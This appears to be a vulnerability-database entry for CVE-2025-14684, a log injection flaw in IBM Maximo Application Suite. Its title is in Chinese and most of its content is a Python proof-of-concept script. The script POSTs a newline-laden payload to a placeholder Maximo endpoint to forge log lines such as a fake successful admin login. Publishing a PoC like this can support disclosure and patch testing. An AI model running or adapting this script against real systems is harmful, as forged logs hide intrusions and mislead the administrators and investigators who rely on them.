CVE-2025-14684 IBM Maximo Application Suite日志注入漏洞

# PoC for CVE-2025-14684: Log Injection # This script demonstrates how to inject newline characters into log files. import requests def exploit_log_injection(target_url): # Payload containing newline characters to forge log entries payload = "User Input \n [INFO] Admin login successful \n [ERROR] Database connection failed" headers = { "Content-Type": "application/json", "User-Agent": "CVE-2025-14684-Scanner" } try: # Send the malicious payload to the vulnerable endpoint response = requests.post(target_url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully. Check server logs for injected entries.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual vulnerable endpoint URL target = "http://vulnerable-host/maximo/api/log/endpoint" exploit_log_injection(target)